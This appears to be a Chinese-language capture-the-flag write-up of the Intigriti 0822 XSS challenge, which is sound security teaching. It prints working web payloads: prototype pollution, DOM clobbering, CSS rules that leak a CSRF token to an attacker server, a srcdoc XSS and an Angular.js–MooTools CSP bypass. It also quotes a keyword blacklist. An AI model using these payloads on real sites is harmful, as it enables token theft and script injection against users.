Intigriti 0822 XSS Challenge Writeup

發表於
分類於 security

最近解了 Intigriti 0822 XSS Challenge,並成功在這題上面獲得了 First Blood。這題結合了多種前端的攻擊技巧,也有些值得學習的新利用方法可以學,所以會簡單紀錄一下我的解法

Overview

題目有提供 source code,所以先羅列些可能可利用的點出來:

  • app.php 可透過 #msg= 指定 html,然後會經過 DOMPurify 2.3.6 sanitize 過之後 html injection,但在不到一秒的時間後就會被移除掉
  • app.php 有直接的 html injection: value="<?= $_SESSION['name']; ?>",但長度需小於 20
  • preview.php 可以透過 POST 參數 desc,雖然它會經過 html filter,但由於那 filter 方式是錯誤的所以可以 CSRF -> XSS
  • preview.php 會驗證 CSRF Token,而 CSRF Token 會出現在 app.php 的頁面上
  • 全站都有 CSP,但是因為有允許 https://cdnjs.cloudflare.com/ajax/libs/ 所以顯然是用 Angular.js 去繞

從這五個點就已足夠看出大致攻擊流程了:

  1. 透過 app.php 用某些方法 (e.g. CSS Injection) 偷到 CSRF Token
  2. 以 Token 去 CSRF preview.php 達成 XSS
  3. 使用 Angular.js 繞過 CSP

然而這邊有幾個問題,例如 html injection 的內容在短時間內就會被移除掉,導致難以 CSS Injection,所以需要找方法繞過。再來是 CSS Injection 因為 html 架構的一些原因實際執行起來並沒那麼簡單,這些問題都得一一解決。

Bypass HTML Injection Timeout

這個是整個 app.js 的內容:

let isDarkMode = false
let theme

initTheme()
document.querySelector('.btn-update-name').addEventListener('click', () => {
  const name = prompt('Please input new name')
  if (!name) return
  const csrfToken = document.querySelector('meta[name="csrf-token"]').content
  fetch('./update-name.php', {
    method: 'POST',
    headers: {
      'content-type': 'application/x-www-form-urlencoded'
    },
    credentials: 'include',
    body: `csrf-token=${encodeURIComponent(csrfToken)}&name=${encodeURIComponent(name)}`
  })
  .then(r => r.text())
  .then(res => {
    if (res === 'success') {
      document.querySelector('#nameField').value = name
    }
    alert(res)
  }).catch(e => {
    alert('Failed:' + e.toString())
  })
})

function initTheme() {
  if (window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches) {
    isDarkMode = true
  }

  fetch("theme.php")
    .then((res) => res.json())
    .then((serverTheme) => {
      theme = {
        primary: {},
        secondary: {}
      }

      for(let themeName in serverTheme) {
        const currentTheme = theme[themeName]
        const currentServerTheme = serverTheme[themeName]

        for(let item in currentServerTheme) {
          currentTheme[item] = () => isDarkMode ? currentServerTheme[item].dark : currentServerTheme[item].light
        }
      }

      const themeDiv = document.querySelector('.theme-text')
      themeDiv.innerText = `Primary - Text: ${theme?.primary?.text()}, Background: ${theme?.primary?.bg()}
        Secondary - Text: ${theme?.secondary?.text()}, Background: ${theme?.secondary?.bg()}
      `
      start()
    })
}


function start() {
  const message = decodeURIComponent(location.hash.replace('#msg=', ''))
  if (!message.length) return
  const options = {}
  if (document.domain.match(/testing/)) {
    options['production'] = false
  } else {
    options['production'] = true
    options['timeout'] = () => Math.random()*300 + 300
  }
  showMessage(message, {
    container: document.querySelector('body'),
    ...options
  })
}

function showMessage(message, options) {
  const getTimeout = options.timeout || (() => 500)
  const container = options.container || document.querySelector('body')

  const modal = document.createElement('div')
  modal.id = 'messageModal'
  modal.innerHTML = DOMPurify.sanitize(message)
  container.appendChild(modal)
  history.replaceState(null, null, ' ')

  setTimeout(() => {
    container.removeChild(modal)
  }, getTimeout())
}

首先 fetch theme.php 做某些事之後進到 start,然後判斷 document.domain 決定是否是 production 和要不要指定 timeout 參數,然後最後 timeout 會被用在 removeChild 的 timeout。單從這邊來看是看不出什麼方法繞過這個時間限制的,所以可以關注前面的部分。

在上面 fetch 的 response 處理部分可以發現說如果 serverTheme 可控,那麼我們是可以在這邊做到 prototype pollution 的,且我們 pollute 的值會是個單純 return 一個值的 function。例如假設 serverTheme 多了 __proto__ 像是下面這樣:

...
	"__proto__": {
		"asd": {
			"dark": true,
			"light": true
		}
	}

那麼 Object.prototype.asd() === true 就會成立。因此假設說 start 那邊進到了 document.domain.match(/testing/) 的 branch,那麼只要 pollute Object.prototype.timeout 讓它回傳一個很大的數,我們就能讓 html injection 持續的比較久一點。

而要控制 serverTheme 也不難,因為可以看到說它會把 body 當作 JSON parse,之後輸出 format 過的 JSON 出來,中間並沒有檢查 Content-Type,所以這邊可以用知名的 CSRF JSON 招數繞過即可。

不過這樣的話問題就變成了要怎麼讓 document.domain.match(/testing/) 成立。雖然 Google 一下可以知道 0121 的 xss challenge 有支援 *.challenge-0121.intigriti.io,所以像是 testing.challenge-0121.intigriti.io 都能 work,但是這題並沒有這樣的設計,所以這招沒辦法使用。

這邊要繞過的關鍵就是使用那個 20 字以內的 injection 了,因為 injection 的地方是在一個 attribute 之中,所以塞 "><img name=domain> 剛剛好可以 clobber 到 document.domain,此時它會是個 HTMLElement,上面並沒有 .match 的函數所以會出錯。這邊就要再用一次 prototype pollution,直接讓 Object.prototype.match() === true 成立就能讓它通過條件檢查,進到 branch,並成功達成讓 HTML Injection 持久的效果。

總之這邊要做的事就是先 CSRF JSON 修改 theme,去 prototype pollution 修改 timeout() 和 match() 讓它 timeout 變很長,使 HTML Injection 的部分可以持久保持在頁面上,方便後面的利用。

CSS Injection

因為要 CSRF preview.php 會需要 CSRF Token,所以需要找方法 leak CSRF Token 出來才行。而 DOMPurify 預設允許的 tag 之一就有 <style>,所以方法很明顯就是 CSS Injection。

PS: DOMPurify.sanitize('<style></style>') 會是空字串,但 DOMPurify.sanitize('a<style></style>') 不會,這是因為 DOMPurify 內部處理是直接使用 DOMParser,所以行為就類似 browser 處理 HTML5 一樣,預設 style 會被放到 <head> 之中

這題 app.php 頁面的 CSRF Token 有兩個地方:

<head>
	<!-- other elements omitted -->
	<meta name="csrf-token" content="<?= $csrf_token ?>">
</head>

<div>
	<input type="hidden" name="csrf-token" value="<?= $csrf_token ?>" />
</div>

input 的部分應該比較常見,就是 input[value^=a] 這樣去 match,然後透過 background: url(http://attacker/?leak=a) 這樣的方法回傳達成的。然而這邊有個很大的問題是 type="hidden" 會導致整個 element 都不會顯示出來,從而也使 background 的部分也不載入,因此沒辦法透過這個地方 leak。

雖然 Google 一下很快就能找到 input[value^=a] ~ * 的方法去 match 對應 input 同層級後面的任意 element 來代替,但是這邊 input 是 div 底下的唯一元素,因此這招也不能用。

其實 css 還有個比較新的功能是 :has,在支援的瀏覽器上可以用 div:has(input[value^=a]) 的方法去 match 那個 div。然而 :has 在 Chromium 中是在 105 版本才加入的,而 Chrome Stable 升到 105 的日期是 2022/08/30,也就是這個 challenge 結束的兩天後才會正式 release,因此這招也不能用。

這邊的關鍵是注意到頁面的 <meta> 的 content 中也是有 CSRF Token,但由於它是個隱藏的元素,所以 background 一樣是沒有作用的。不過如果加上了 head, meta { display:block; } 會發現很有趣的事,就是 <head> 中的元素真的能用 display: block; 讓它變得可見,此時 background 也真的能產生作用,因此用 meta[content^=a] 去 leak 這個招數是確實可行的。

因為要在一次把整個 CSRF Token (32 chars) leak 出來,所以需要一些 CSS @import 的利用配合 server 動態生成 CSS 才能達成,我是參考 Sequential Import Chaining 的方法弄的。基本上就是先弄 32 個 <style> 裡面每個都放一個 @import 'SERVER/polling/{i}';,然後 server 先處理回傳 i=0 的 css 像是:

meta[content^=0] {
	background: url('SERVER/leak/0');
}
meta[content^=1] {
	background: url('SERVER/leak/1');
}
...

假設第一個字元是 a,那麼當 server 收到 /leak/a 的時候再回傳 i=1 的 response 時再回傳:

meta[content^=a0] {
	background: url('SERVER/leak/a0');
}
meta[content^=a1] {
	background: url('SERVER/leak/a1');
}
...

用這個方法就能反覆的一個一個字元 leak 出來了。不過實際上實作會遇到一些問題,例如 Chromium 一般對一個 host 最多只會有 6 個 connections,當前面 polling 卡住的時候時候 /leak/? 是送不出去的。

繞過方法也很簡單,就是提供兩個 host 就能繞過這個問題了。像是我是用 Flask 在一個 port 上 listen,然後接 socat 直接 proxy 到另一個 port 去,然後讓 polling 和 leak 使用不同的 port 就能繞過這點了。另外是我後來因為需要 https 才能繞過 mixed content 的問題把 exploit 弄到我的網站上面,因為是有 CloudFlare 在前端當 proxy 所以有 HTTP/3,發現說在 HTTP/3 的情況下可以直接使用同個 host 也不會卡住,所以其實不用這麼麻煩。我猜 HTTP/2 大概也有一樣的效果吧。

XSS + Angular CSP Bypass

拿到 CSRF Token 之後就能 CSRF 攻擊 preview.php 了,它雖然有 escape html 但處理是有問題的:

$desc = htmlspecialchars($desc);
$desc = preg_replace('/(https?:\/\/www\.youtube\.com\/embed\/[^\s]*)/', '<iframe src="$1"></iframe>', $desc);
$desc = preg_replace('/(https?:\/\/[^\s]*\.(png|jpg|gif))/', '<img src="$1">', $desc);

因為它在 escape 之後還會 replace html 內容,以下的內容經過這些處理之後會變成更下面那樣:

http://www.youtube.com/embed/srcdoc='asd'.png
<iframe src="<img src="http://www.youtube.com/embed/srcdoc='asd'.png">"></iframe>

因此我們透過兩層替換讓 payload 跑到 attribute context,然後用 srcdoc 在裡面 XSS

這個只在 php 7 有用,因為 php 8 的 htmlspecialchars 預設選項有 ENT_QUOTES,導致它也會 escape ',可能會變得更麻煩

最後是要繞 CSP,因為最初那個 iframe 是 hidden 的,且又不要 user interaction 的話最穩定的繞法是使用 Angular.js + Prototype.js:

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
  {{$on.curry.call().alert(1)}}
</div>

其實用比較新舊的 Angular.js 沒有 Sandbox 保護很容易達成 eval,但是因為會違反 CSP 所以還是要找方法透過在 ng-csp 模擬的執行環境中拿到 window 才行

然而 preview.php 有對 $desc 做些 blacklist 檢查:

$dangerous_words = ['eval', 'setTimeout', 'setInterval', 'Function', 'constructor', 'proto', 'on', '%', '&', '#', '?', '\\'];

foreach ($dangerous_words as $word) {
  if (stripos($desc, $word) !== false){
    header("Location: app.php#msg=dangerous word detected!");
    die();
  }
}

其中就禁止了 proto 和其他 html 相關的 escape 字元,所以沒辦法使用 prototype.js,所以要找有沒有類似的替代品。因為直接 Google 都找不太到相關的資訊,所以需要自己理解這個 Angular Sandbox Escape 是怎麼做到的才行。它的關鍵在於這裡:

function curry() {
  if (!arguments.length) return this;
  var __method = this, args = slice.call(arguments, 0);
  return function() {
    var a = merge(args, arguments);
    return __method.apply(this, a);
  }
}

可以知道當它沒有參數時會直接 return this,然後熟悉 javascript 機制的人應該知道 this 在不存在的情況下會是 global:

function f() { return this }
const o = { f }

// all true
console.log(f() === window)
console.log(o.f() === o)
console.log(f.call(o) === o)
console.log(f.call() === window)

所以我們的目標很簡單,就是在 cdnjs 上找到一個會動 builtin object 的 prototype 的 library,且裡面還要包含 return this 才行。而我的思路是想說如今 2022 基本上除了 polyfill 應該比較少有動 prototype 的 library,所以應該要往舊的 library 找找看。而想到 Prototype.js 同個時代的 library 也有其他不少選擇,而其中最著名的應該是 MooTools,因為它就是 Array.prototype.includes 不叫 Array.prototype.contains 的主要原因。另外和 MooTools 有關的類似情況還有 SmooshGate,兩者都是因為 MooTools 會修改內建的 prototype 有關。

總之我們找到了會改 Prototype 的 library,所以在 mootools-core.js 中搜尋一下 return this 可以找到:

Function.prototype.overloadSetter = function(usePlural){
	var self = this;
	return function(a, b){
		if (a == null) return this;
		if (usePlural || typeof a != 'string'){
			for (var k in a) self.call(this, k, a[k]);
			/*<ltIE8>*/
			forEachObjectEnumberableKey(a, self, this);
			/*</ltIE8>*/
		} else {
			self.call(this, a, b);
		}
		return this;
	};
};

因此只要 fn.overloadSetter().call() 就能拿到 window 物件,使用這個方法微調一下 Angular.js 中的 expression 就能繞過 CSP 得到 alert(document.domain) 了:

<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.js></script>
<script src=https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.js></script>
<body ng-app ng-csp>
  {{a=$apply.overloadSetter().call()}}{{a.alert(a.document.domain)}}
</body>

Final Exploit

完整的 Exploit 可以在這邊下載: exp.tar.gz

這個題目真的相當有趣,綜合了許多常見的招式結合在一起,並且還有些不同的改變 (如 <meta>, MooTools 等等),需要能把許多基本功合在一起才有辦法解開這題。另外還讓我第一次學到了怎麼做一個實際的 CSS Injection,而不只是了解粗略概念而已。

另外是我這篇文章中的 CSS Injection 方法在 Firefox 上是有些小問題的,因為它在處理 @import 和 Chromium 不太相同。根據 Huli 所說可以參考 CSS data exfiltration in Firefox via a single injection point 的方法做些修正之後應該就能成功了,可能之後有空會來研究看看它們的差異究竟在哪。

Appendix

作者之一 Huli 的 writeup: Intigriti 0822 XSS Challenge Author Writeup

作者之一 Bruno 的 writeup: BrunoHalltari/CTF-Writeups - challenge-0822.intigriti.io